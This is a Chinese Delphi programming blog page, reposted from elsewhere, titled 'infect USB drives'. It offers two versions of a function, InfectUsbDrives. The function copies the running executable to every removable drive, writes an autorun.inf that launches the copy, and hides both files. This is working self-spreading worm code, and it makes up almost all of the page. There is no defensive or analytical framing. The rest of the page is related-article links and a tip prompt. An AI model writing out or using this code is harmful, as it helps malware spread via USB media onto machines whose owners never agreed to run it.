delphi 感染U盘


本文整理自网络,侵删。

 Infect USB Drives 感染U盘

function InfectUsbDrives(ExeName:string):integer;
var
Drives: array[0..128] of char;
xDrive: PChar;
myFile: TextFile;
begin
Result := 0;
GetLogicalDriveStrings(SizeOf(Drives), Drives);
xDrive := Drives;
while xDrive^ <> #0 do
begin
if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then
begin
try
CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);
AssignFile(myFile, xDrive+':\autorun.inf');
if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
except
end;
end;
Inc(xDrive, 4);
end;
end;
复制内容到剪贴板代码:

function InfectUsbDrives(ExeName:string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

相关阅读 >>

Delphi xe5 android 开发实现手机打电话和发短信

Delphi判断字符串是否是汉字

Delphi 窗体form的formstyle属性设置为fsstayontop时属性设置不起作用问题探讨。

Delphi编程用流来读取txt文件中的数据

Delphi-xe5-开发 android uri简介

Delphi tcxgrid的tcxgriddbtableview.viewdata.rows跟records有什么区别

Delphi 在memorystream查找字符串

Delphi tfilestream和tmemorystream分别读取、创建、合并文件

Delphi fdquery遍历输出 json

Delphi 判断一个颜色是否是亮色

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...